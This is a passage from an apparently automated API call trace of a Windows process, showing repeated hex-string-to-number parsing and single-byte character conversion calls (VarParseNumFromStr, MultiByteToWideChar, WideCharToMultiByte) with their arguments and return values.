lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.763] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.763] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.764] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.764] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.764] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.764] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.765] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.765] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.766] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.766] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.767] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.767] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.767] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.767] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.768] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.768] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.769] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.769] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.770] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.770] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.771] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.771] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.771] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.772] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436794, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.772] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.772] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1436794, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.773] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.773] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.773] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.774] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.774] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.774] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.775] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.775] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.775] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.775] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.776] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.776] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.777] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.777] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 